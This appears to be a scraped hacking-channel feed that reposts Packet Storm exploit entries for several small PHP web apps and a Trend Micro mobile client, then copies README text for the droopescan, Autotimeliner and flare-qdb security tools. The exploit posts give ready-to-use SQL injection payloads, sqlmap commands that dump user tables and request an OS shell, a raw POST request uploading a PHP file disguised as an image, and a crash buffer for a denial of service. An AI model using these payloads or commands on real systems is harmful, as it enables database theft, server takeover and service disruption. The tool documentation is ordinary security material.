Hacking Articles Tips Tricks Videos Tutorials

Online Sports Complex Booking System 1.0 SQL Injection

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

4 viewsedited 16:05

Exploit Collector
Trend Micro Virtual Mobile Infrastructure 6.0.1278 Denial Of Service

https://4.bp.blogspot.com/-xJ4j9VfFswY/WWlvOf_vUlI/AAAAAAAAIMo/D1-kp_Mj10E1aNmsGMS5n6nKC28DofOXwCLcBGAs/s1600/h25.png
Trend Micro Virtual Mobile Infrastructure version 6.0.1278 suffers from a denial of service vulnerability.

MD5 | be91bbba03c29d20f7c3fc0003b45b0d

Download

# Exploit Title: Trend Micro Virtual Mobile Infrastructure (TMVMI) version 6 - Denial of Service (PoC)
# Date: 24/03/2022
# Exploit Author: Saud Alenazi
# Vendor Homepage: https://www.trendmicro.com/
# Software Link: App Store for iOS devices
# Version: 6.0.1278
# Tested: iPhone 6 iOS 12.4.7
# Vulnerability Type: Denial of Service (DoS) Local
# Contact: https://twitter.com/dmaral3noz
# Steps to Produce the Crash:
1- Run python code: TMVMI_6.py
2- Copy content to clipboard
3- Open TMVMI Client
4- Paste ClipBoard on "address"
5- Click Next
6- Crashed
------------------------- 
TMVMI_6.py
-------------------------

#!/usr/bin/env python

buffer = "\x41" * 1500
print (buffer)

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Trend Micro Virtual Mobile Infrastructure 6.0.1278 Denial Of Service

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

3 viewsedited 16:05

Exploit Collector
Microfinance Management System 1.0 SQL Injection

https://2.bp.blogspot.com/-DNFQNR6e8p4/WWlvIe_2SVI/AAAAAAAAILs/sd08rXaHefk0y1DdsYY6dPeiz0i718ntQCLcBGAs/s1600/h143.png
Microfinance Management System version 1.0 suffers from a remote blind SQL injection vulnerability that can be used to escalate privileges and execute code.

MD5 | 53bb6ae2347ecd311edc9d60a802a7d0

Download

# Title: Microfinance Management System 1.0  SQLi To Rce
# Author: Hejap Zairy
# Date: 24.07.2022
# Vendor: https://www.sourcecodester.com/php/14822/microfinance-management-system.html
# Software: https://www.sourcecodester.com/sites/default/files/download/oretnom23/mims_0.zip
# Reference: https://github.com/Matrix07ksa
# Tested on: Windows, MySQL, Apache
#vulnerability Code  php

```php

$sql = "SELECT count(*) AS total_account FROM account_type";
$result = mysqli_query($conn, $sql);
$data = mysqli_fetch_assoc($result);
?>
}
```
#Status: CRITICAL
```
GET parameter 'account_type_number' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
sqlmap identified the following injection point(s) with a total of 147 HTTP(s) requests:
---
Parameter: account_type_number (GET)
Type: UNION query
Title: MySQL UNION query (random number) - 3 columns
Payload: account_type_number=-6015' UNION ALL SELECT 7366,CONCAT(0x716b626b71,0x4268666c6b715274794a58534f487366546e5379414951584a684459764f424451536f5a707a6a6a,0x7170707a71),7366#
---

```
#SQLi Time to Rce
#ُExploit 
sqlmap -u 'http://0day.gov/mims/updateaccount_type.php?account_type_number=6015'  --hex --time-sec=17 --dbms=mysql --technique=u  --random-agent  --eta -p account_type_number   -D mims -T users  --dump --os-shell 

# Description:
The Blind Time SQLi vulnerability was converted to rce due to the permissions I have in the database and it was privesc

# Proof and Exploit:
https://i.imgur.com/kRcQmxO.png
https://i.imgur.com/4RmKSom.png

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Microfinance Management System 1.0 SQL Injection

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

4 viewsedited 16:05

Exploit Collector
containerd Image Volume Insecure Handling

___________________________
@hacking_Attack
@Hacking_Video

containerd Image Volume Insecure Handling

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

3 viewsedited 16:05

2 views16:05

Exploit Collector
Event Management System 1.0 Shell Upload

https://3.bp.blogspot.com/-L1ywDwIvHnM/WWlvbqBqi6I/AAAAAAAAIPQ/e-y1sGxHKpMGeO7A8b-5LHWSXrbuRWhUwCLcBGAs/s1600/h73.png Event Management System version 1.0 suffers from a remote shell upload vulnerability.

MD5 | 11d07a26897f7bc6e067e726567706bcDownload

# Title: Event Management System  1.0  Shell Upload
# Author: Hejap Zairy
# Date: 24.07.2022
# Vendor: https://www.sourcecodester.com/php/15238/event-management-system-project-php-source-code.html
# Software: https://www.sourcecodester.com/sites/default/files/download/oretnom23/Royal%20Event.zip
# Reference: https://github.com/Matrix07ksa
# Tested on: Windows, MySQL, Apache

registered user can bypass waf upload .php.png files in attachments section with use of intercept tool in burbsuite to edit the raw
#vulnerability Code  php
Needs more filtering to upload profile files

php```
if(isset($_POST['submit']))
{
$adminid=$_SESSION['odmsaid'];
$productname=$_POST['productName'];
$productimage1=$_FILES["productimage1"]["name"];
move_uploaded_file($_FILES["productimage1"]["tmp_name"],"assets/img/profileimages/".$_FILES["productimage1"]["name"]);
$sql="update  tbladmin set Photo=:productimage1 where ID=:aid";
$query = $dbh->prepare($sql);
$query->bindParam(':productimage1',$productimage1,PDO::PARAM_STR);
$query->bindParam(':aid',$pid,PDO::PARAM_STR);
$query->execute();
$_SESSION['msg']="profile Image Updated Successfully !!";
}
?>
```
[+] Payload POST
```
POST /scbs/?p=manage_account HTTP/1.1
Host: 0day.gov
Cookie: PHPSESSID=2vah9hmhjf85ichdav814rhcgu
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------409902128312379197203124536738
Content-Length: 882
Origin: https://0day.gov
Referer: https://0day.gov/scbs/
Upgrade-Insecure-Requests: 1
Te: trailers
Connection: close

-----------------------------409902128312379197203124536738
Content-Disposition: form-data; name="productName"
Hejap Zairy
-----------------------------409902128312379197203124536738
Content-Disposition: form-data; name="productimage1"; filename="0day_hejap.php"
Content-Type: image/png

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Event Management System 1.0 Shell Upload

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

8 viewsedited 16:05

6 views16:06

6 views16:07

Exploit Collector
Sports Complex Booking System 1.0 SQL Injection

https://3.bp.blogspot.com/-00fiGlDHfKo/WWlvZ5odqlI/AAAAAAAAIO4/nnZp17OtkHAWqiO0pbFBQSys2U4_yu8pACLcBGAs/s1600/h7.png
Sports Complex Booking System version 1.0 suffers from a remote blind SQL injection vulnerability that can be used to escalate privileges and execute code.

MD5 | 198e99bd9735413efa8ab6e715ef5578

Download

# Title: Sports Complex Booking System 1.0 Blind SQLi To Rce
# Author: Hejap Zairy
# Date: 24.07.2022
# Vendor: https://www.sourcecodester.com/php/15236/online-sports-complex-booking-system-phpmysql-free-source-code.html
# Software: https://www.sourcecodester.com/sites/default/files/download/oretnom23/scbs_1.zip
# Reference: https://github.com/Matrix07ksa
# Tested on: Windows, MySQL, Apache
#vulnerability Code  php

```php
if(isset($_GET['id']) && $_GET['id'] > 0){
$qry = $conn->query("SELECT f.*, c.name as category from `facility_list` f inner join category_list c on f.category_id = c.id where f.id = '{$_GET['id']}' ");
if($qry->num_rows > 0){
foreach($qry->fetch_assoc() as $k => $v){
$$k=stripslashes($v);
}
}
}```
#Status: CRITICAL
```
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: p=view_facility&id=4' AND 1013=1013-- aQIm

Type: error-based
Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: p=view_facility&id=4' OR (SELECT 7626 FROM(SELECT COUNT(*),CONCAT(0x71716a7671,(SELECT (ELT(7626=7626,1))),0x71787a7171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- SkTl

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: p=view_facility&id=4' AND (SELECT 5013 FROM (SELECT(SLEEP(5)))lCeY)-- pdUo
---

```
#Blind SQLi Time to Rce
#ُExploit 
sqlmap -u 'http://0day.gov/scbs/?p=view_facility&id=4'  --hex --time-sec=17 --dbms=mysql --technique=t  --random-agent  --eta -p id   -D scbs -T users  --dump --os-shell 

# Description:
The Blind Time SQLi vulnerability was converted to rce due to the permissions I have in the database and it was privesc

# Proof and Exploit:
https://i.imgur.com/nY9GR9F.png

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Sports Complex Booking System 1.0 SQL Injection

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

7 viewsedited 16:07

Dark Reading: Attacks/Breaches
Vade Receives Patent on Anti-Phishing Tech

The patent covers a technique to detect phishing kits even as the kits utilize defensive mechanisms to avoid detection.

8 views16:18

Source

Dark Reading: Attacks/Breaches
What the Conti Ransomware Group Data Leak Tells Us

Knowing the inner workings of Conti will not only help ransomware negotiators but also help organizations to better handle a ransomware attack when it happens.

8 views16:18

Source

6 views17:31

Droopescan : A Plugin-Based Scanner That Aids Security Researchers

Kali Linux Tutorials
Droopescan : A Plugin-Based Scanner That Aids Security Researchers

Droopescan is a plugin-based scanner that aids security researchers in identifying issues with several CMS.

Usage of droopescan for attacking targets without prior mutual consent is illegal. It is the end user’s responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program. Please note that while droopescan outputs the most CMS likely version installed on the remote host, any correlation between version numbers and vulnerabilities must be done manually by the user.

Supported CMS are:

* SilverStripe
* WordPress
* Drupal

Partial functionality for:

* Joomla (version enumeration and interesting URLs only)
* Moodle (plugin & theme very limited, watch out)

computer:~/droopescan$ droopescan scan drupal -u http://example.org/ -t 32
[+] No themes found.
[+] Possible interesting urls found:
Default changelog file – https://www.example.org/CHANGELOG.txt
Default admin – https://www.example.org/user/login
[+] Possible version(s):
7.34
[+] Plugins found:
views https://www.example.org/sites/all/modules/views/
https://www.example.org/sites/all/modules/views/README.txt
https://www.example.org/sites/all/modules/views/LICENSE.txt
token https://www.example.org/sites/all/modules/token/
https://www.example.org/sites/all/modules/token/README.txt
https://www.example.org/sites/all/modules/token/LICENSE.txt
pathauto https://www.example.org/sites/all/modules/pathauto/
https://www.example.org/sites/all/modules/pathauto/README.txt
https://www.example.org/sites/all/modules/pathauto/LICENSE.txt
https://www.example.org/sites/all/modules/pathauto/API.txt
libraries https://www.example.org/sites/all/modules/libraries/
https://www.example.org/sites/all/modules/libraries/CHANGELOG.txt
https://www.example.org/sites/all/modules/libraries/README.txt
https://www.example.org/sites/all/modules/libraries/LICENSE.txt
entity https://www.example.org/sites/all/modules/entity/
https://www.example.org/sites/all/modules/entity/README.txt
https://www.example.org/sites/all/modules/entity/LICENSE.txt
google_analytics https://www.example.org/sites/all/modules/google_analytics/
https://www.example.org/sites/all/modules/google_analytics/README.txt
https://www.example.org/sites/all/modules/google_analytics/LICENSE.txt
ctools https://www.example.org/sites/all/modules/ctools/
https://www.example.org/sites/all/modules/ctools/CHANGELOG.txt
https://www.example.org/sites/all/modules/ctools/LICENSE.txt
https://www.example.org/sites/all/modules/ctools/API.txt
features https://www.example.org/sites/all/modules/features/
https://www.example.org/sites/all/modules/features/CHANGELOG.txt
https://www.example.org/sites/all/modules/features/README.txt
https://www.example.org/sites/all/modules/features/LICENSE.txt
https://www.example.org/sites/all/modules/features/API.txt
[… snip for README …]
[+] Scan finished (0:04:59.502427 elapsed)

You can get a full list of options by running:

droopescan –help
droopescan scan –help Why not X?Because droopescan:

* is fast
* is stable
* is up to date
* allows simultaneous scanning of multiple sites
* is 100% python InstallationWith pip (recommended)Installation is easy using pip:

apt-get install python-pip
pip install droopescan From sourcesManual installation is as follows:

git clone https://github.com/droope/droopescan.git
cd droopescan
pip install -r requirements.txt
./droopescan scan –help

The master branch corresponds to the latest release (what is in pypi). Development branch is unstable and all pull requests must be made against it. BlackArchBlackArch package installation (maintained by a third party):

sudo pacman -S droopescan DockerYou can build a docker i[...]

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux Tutorials

Droopescan is a plugin-based scanner that aids security researchers in identifying issues with several CMS.

5 viewsedited 17:31

Kali Linux Tutorials Droopescan : A Plugin-Based Scanner That Aids Security Researchers Droopescan is a plugin-based scanner that aids security researchers in identifying issues with several CMS. Usage of droopescan for attacking targets without prior mutual…

mage and run droopescan from Docker:

git clone https://github.com/droope/droopescan.git
cd droopescan
docker build -t droope/droopescan .
display help
docker run –rm droope/droopescan
example scanning a drupal site
docker run –rm droope/droopescan scan drupal -u https://drupal.example.com FeaturesScan typesDroopescan aims to be the most accurate by default, while not overloading the target server due to excessive concurrent requests. Due to this, by default, a large number of requests will be made with four threads; change these settings by using the --numberand --threadsarguments respectively.

This tool is able to perform four kinds of tests. By default all tests are ran, but you can specify one of the following with the -eor --enumerateflag:

* p — Plugin checks: Performs several thousand HTTP requests and returns a listing of all plugins found to be installed in the target host.
* t — Theme checks: As above, but for themes.
* v — Version checks: Downloads several files and, based on the checksums of these files, returns a list of all possible versions.
* i — Interesting url checks: Checks for interesting urls (admin panels, readme files, etc.) Target specificationYou can specify a particular host to scan by passing the -uor --urlparameter:

droopescan scan drupal -u example.org

You can also omit the drupalargument. This will trigger “CMS identification”, like so:

droopescan scan -u example.org

Multiple URLs may be scanned utilising the -Uor --url-fileparameter. This parameter should be set to the path of a file which contains a list of URLs.

droopescan scan drupal -U list_of_urls.txt

The drupalparameter may also be ommited in this example. For each site, it will make several GET requests in order to perform CMS identification, and if the site is deemed to be a supported CMS, it is scanned and added to the output list. This can be useful, for example, to run droopescanacross all your organisation’s sites.

droopescan scan -U list_of_urls.txt

The code block below contains an example list of URLs, one per line:

http://localhost/drupal/6.0/
http://localhost/drupal/6.1/
http://localhost/drupal/6.10/
http://localhost/drupal/6.11/
http://localhost/drupal/6.12/

A file containing URLs and a value to override the default host header with separated by tabs or spaces is also OK for URL files. This can be handy when conducting a scan through a large range of hosts and you want to prevent unnecessary DNS queries. To clarify, an example below:

192.168.1.1 example.org
http://192.168.1.1/ example.org
http://192.168.1.2/drupal/ example.org

It is quite tempting to test whether the scanner works for a particular CMS by scanning the official site (e.g. wordpress.orgfor wordpress), but the official sites rarely run vainilla installations of their respective CMS or do unorthodox things. For example, wordpress.orgruns the bleeding edge version of wordpress, which will not be identified as wordpress by droopescanat all because the checksums do not match any known wordpress version. AuthenticationThe application fully supports .netrcfiles and http_proxyenvironment variables.

Use a .netrc file for basic authentication. An example netrc (a file named .netrcplaced in your root home directory) file could look as follows:

machine secret.google.com
login admin@google.com
password Winter01 OutputThis application supports both “standard output”, meant for human consumption, or JSON, which is more suitable for machine consumption. This output is stable between major versions.

This can be controlled with the --outputflag. Some sample JSON output would look as follows (minus the excessive whitespace):

“themes”: {
“i[...]

___________________________
@hacking_Attack
@Hacking_Video

GitHub

GitHub - SamJoan/droopescan: A plugin-based scanner that aids security researchers in identifying issues with several CMSs, mainly…

A plugin-based scanner that aids security researchers in identifying issues with several CMSs, mainly Drupal & Silverstripe. - SamJoan/droopescan

4 viewsedited 17:31

4 views17:31

Autotimeliner : Automagically Extract Forensic Timeline

Kali Linux Tutorials
Autotimeliner : Automagically Extract Forensic Timeline From Volatile Memory Dump

Autotimeliner tool will automagically extract forensic timeline from volatile memory dumps.

Requirements

* Python 3
* Volatility
* mactime (from SleuthKit)

(Developed and tested on Debian 9.6 with Volatility 2.6-1 and sleuthkit 4.4.0-5)

How it works

AutoTimeline automates this workflow:

* Identify correct volatility profile for the memory image.
* Runs the timeliner plugin against volatile memory dump using volatility.
* Runs the mftparser volatility plugin, in order to extract $MFT from memory and generate a bodyfile.
* Runs the shellbags volatility plugin in order to generate a bodyfile of the user activity. (suggested by Matteo Cantoni).
* Merges the timeliner, mftparser and shellbags output files into a single bodyfile.
* Sorts and filters the bodyfile using mactime and exports data as CSV.

Installation

Simply clone the GitHub repository:

git clone https://github.com/andreafortuna/autotimeliner.git

Usage

autotimeline.py [-h] -f IMAGEFILE [-t TIMEFRAME] [-p CUSTOMPROFILE]
optional arguments:
-h, –help show this help message and exit
-f IMAGEFILE, –imagefile IMAGEFILE
Memory dump file
-t TIMEFRAME, –timeframe TIMEFRAME
Timeframe used to filter the timeline (YYYY-MM-DD
..YYYY-MM-DD)
-p CUSTOMPROFILE, –customprofile CUSTOMPROFILE
Jump image identification and use a custom memory
profile

Examples

Extract timeline from TargetServerMemory.raw, limited to a timeframe from 2018-10-17 to 2018-10-21:

./autotimeline.py -f TargetServerMemory.raw -t 2018-10-17..2018-10-21

Extract timeline from all images in current directory, limited to a timeframe from 2018-10-17 to 2018-10-21:

./autotimeline.py -f ./*.raw -t 2018-10-17..2018-10-21

Extract timeline from TargetServerMemory.raw, using a custom memory profile:

./autotimeline.py -f TargetServerMemory.raw -p Win2008R2SP1x64

All timelines will be saved as $ORIGINALFILENAME-timeline.csv.
Download

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux Tutorials

Autotimeliner tool will automagically extract forensic timeline from volatile memory dumps. Developed and tested on Debian 9.6.

5 viewsedited 17:31

s_empty”: true,
“finds”: [
]
},
“interesting urls”: {
“is_empty”: false,
“finds”: [
{
“url”: “https:\/\/www.drupal.org\/CHANGELOG.txt”,
“description”: “Default changelog file.”
},
{
“url”: “https:\/\/www.drupal.org\/user\/login”,
“description”: “Default admin.”
}
]
},
“version”: {
“is_empty”: false,
“finds”: [
“7.29”,
“7.30”,
“7.31”
]
},
“plugins”: {
“is_empty”: false,
“finds”: [
{
“url”: “https:\/\/www.drupal.org\/sites\/all\/modules\/views\/”,
“name”: “views”
},
[…snip…]
]
}
}

Some attributes might be missing from the JSON object if parts of the scan are not ran.

This is how multi-site output looks like; each line contains a valid JSON object as shown above.

$ droopescan scan drupal -U six_and_above.txt -e v
{“host”: “http://localhost/drupal-7.6/”, “version”: {“is_empty”: false, “finds”: [“7.6”]}}
{“host”: “http://localhost/drupal-7.7/”, “version”: {“is_empty”: false, “finds”: [“7.7”]}}
{“host”: “http://localhost/drupal-7.8/”, “version”: {“is_empty”: false, “finds”: [“7.8”]}}
{“host”: “http://localhost/drupal-7.9/”, “version”: {“is_empty”: false, “finds”: [“7.9”]}}
{“host”: “http://localhost/drupal-7.10/”, “version”: {“is_empty”: false, “finds”: [“7.10”]}}
{“host”: “http://localhost/drupal-7.11/”, “version”: {“is_empty”: false, “finds”: [“7.11”]}}
{“host”: “http://localhost/drupal-7.12/”, “version”: {“is_empty”: false, “finds”: [“7.12”]}}
{“host”: “http://localhost/drupal-7.13/”, “version”: {“is_empty”: false, “finds”: [“7.13”]}}
{“host”: “http://localhost/drupal-7.14/”, “version”: {“is_empty”: false, “finds”: [“7.14”]}}
{“host”: “http://localhost/drupal-7.15/”, “version”: {“is_empty”: false, “finds”: [“7.15”]}}
{“host”: “http://localhost/drupal-7.16/”, “version”: {“is_empty”: false, “finds”: [“7.16”]}}
{“host”: “http://localhost/drupal-7.17/”, “version”: {“is_empty”: false, “finds”: [“7.17”]}}
{“host”: “http://localhost/drupal-7.18/”, “version”: {“is_empty”: false, “finds”: [“7.18”]}}
{“host”: “http://localhost/drupal-7.19/”, “version”: {“is_empty”: false, “finds”: [“7.19”]}}
{“host”: “http://localhost/drupal-7.20/”, “version”: {“is_empty”: false, “finds”: [“7.20”]}}
{“host”: “http://localhost/drupal-7.21/”, “version”: {“is_empty”: false, “finds”: [“7.21”]}}
{“host”: “http://localhost/drupal-7.22/”, “version”: {“is_empty”: false, “finds”: [“7.22”]}}
{“host”: “http://localhost/drupal-7.23/”, “version”: {“is_empty”: false, “finds”: [“7.23”]}}
{“host”: “http://localhost/drupal-7.24/”, “version”: {“is_empty”: false, “finds”: [“7.24”]}}
{“host”: “http://localhost/drupal-7.25/”, “version”: {“is_empty”: false, “finds”: [“7.25”]}}
{“host”: “http://localhost/drupal-7.26/”, “version”: {“is_empty”: false, “finds”: [“7.26”]}}
{“host”: “http://localhost/drupal-7.27/”, “version”: {“is_empty”: false, “finds”: [“7.27”]}}
{“host”: “http://localhost/drupal-7.28/”, “version”: {“is_empty”: false, “finds”: [“7.28”]}}
{“host”: “http://localhost/drupal-7.29/”, “version”: {“is_empty”: false, “finds”: [“7.29”]}}
{“host”: “http://localhost/drupal-7.30/”, “version”: {“is_empty”: false, “finds”: [“7.30”]}}
{“host”: “http://localhost/drupal-7.31/”, “version”: {“is_empty”: false, “finds”: [“7.31”]}}
{“host”: “http://localhost/drupal-7.32/”, “version”: {“is_empty”: false, “finds”: [“7.32”]}}
{“host”: “http://localhost/drupal-7.33/”, “version”: {“is_empty”: false, “finds”: [“7.33”]}}
{“host”: “http://localhost/drupal-7.34/”, “version”: {“is_empty”: false, “finds”: [“7.34”]}} DebugWhen things are not going exactly your way, you can check why by using the --debug-requestscommand.

Some output might look like this:

[head] http://localhost/framework/… 403
[head] http://localhost/cms/css/layout.css… 404
[head] http://localhost/framework/css/UploadField.css… 200
[head] http://localhost/misc/test/error/404/ispresent.html… 404
[head] http://localhost/widgetextensions/… 404
[head] http://localhost/orbit/… 404
[head] http://localhost/sitemap/… 404
[hea[...]

___________________________
@hacking_Attack
@Hacking_Video

5 viewsedited 17:31

d] http://localhost/simplestspam/… 404
[head] http://localhost/ecommerce_modifier_example/… 404
[head] http://localhost/silverstripe-hashpath/… 404
[head] http://localhost/timeline/… 404
[head] http://localhost/silverstripe-hiddenfields/… 404
[head] http://localhost/addressable/… 404
[head] http://localhost/silverstripe-description/… 404
[+] No plugins found.
[+] Scan finished (0:00:00.058422 elapsed) StatsYou can get an up to date report on the capabilities of the scanner by running the following command

droopescan stats

Some sample output might look as follows:

Functionality available for ‘drupal’:

* Enumerate plugins (XXXX plugins.)
* Enumerate themes (XXXX themes.)
* Enumerate interesting urls (X urls.)
* Enumerate version (up to version X.X.X-alphaXX, X.XX, X.XX.)
Functionality available for ‘joomla’:
* Enumerate interesting urls (X urls.)
* Enumerate version (up to version XX.X, X.X.X, X.X.XX.rcX.)
Functionality available for ‘wordpress’:
* Enumerate interesting urls (X urls.)
* Enumerate version (up to version X.X.X, X.X.X, X.X.X.)
Functionality available for ‘silverstripe’:
* Enumerate plugins (XXX plugins.)
* Enumerate themes (XX themes.)
* Enumerate interesting urls (X urls.)
* Enumerate version (up to version X.X.XX, X.X.XX, X.X.XX.) Download

___________________________
@hacking_Attack
@Hacking_Video

6 viewsedited 17:31

5 views17:31

Flare-Qdb : Command-line And Python Debugger For Instrumenting

Kali Linux Tutorials
Flare-Qdb : Command-line And Python Debugger For Instrumenting And Modifying Native Software

Flare-qdb is a command-line and scriptable Python-based tool for evaluating and manipulating native program state. It uses Vivisect to set a breakpoint on each queried instruction and executes Python code when hit.

flare-qdb frees the analyst to take a nonlinear approach to dynamic analysis that accommodates the questions that arise in the course of normal debugging and static analysis. flare-qdb answers these questions without requiring the analyst to manually set up an interactive debugger session and navigate the program counter to that code location.

Here are some examples of spot questions flare-qdb can answer:

* Does eax always equal this value at this point?
* What was eax equal to before this branch?
* What values will this string assume throughout this loop?
* At the first iteration of the inner loop, what base address is used?
* Is the program even going to hit this logic?
* Which code executes first?
* Does the number of loop iterations depend on the value of argv[1]?
* Can I alter the command-line arguments to avoid this condition?

flare-qdb can also be used to facilitate automated, repeatable manipulation of program execution. Here are some examples of useful applications:

* Executing a string decoder with different arguments to quickly extract all the strings used by a malware sample.
* Overriding the arguments to Sleep()to permit rapid iterative testing of a custom command and control (C2) server.
* Telling a privilege escalation tool that its integrity level is 0x1000 (MANDATORY_LOW_RID) in order to induce it to execute its exploit code.
* Repeatably automating the unpacking of a packer that jumps into one or more non-deterministic heap locations.

flare-qdb accepts multiple queries that take the form of a program counter or Vivisect expression paired with some Python text to evaluate in the flare-qdb scripting environment. Vivisect expressions can be used to specify simple constant program counter values like "0x401000", symbolic expressions like "kernel32.Sleep", and more. Vivisect expressions can also incorporate register and memory state to articulate sophisticated conditions, such as "not eax or (( edx > 3) and (poi(ebp-8) < 5))".

The command line argument format for this is:

-at

flare-qdb also supports conditional evaluation based on the truth value of a Vivisect expression:

-at-if

lare-qdb provides several builtins for convenient debugging, which are available both from the command line and as methods of its Qdbclass.

flare-qdb has been tested primarily on Windows, but works on Linux. Unfortunately, the Darwin port of Vivisect’s vtrace.Traceclass is incomplete, so flare-qdb does not support OSX.

Example Scripts

flare-qdb comes with De-DOSfuscator, which is a tool for decoding obfuscated batch files by running them. Details can be found in the De-DOSfuscator Guide or by reading the blog Cmd and Conquer: De-DOSfuscation with flare-qdb.
Download

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux Tutorials

Flare-qdb is a command-line and scriptable Python-based tool for evaluating and manipulating native program state.

6 viewsedited 17:31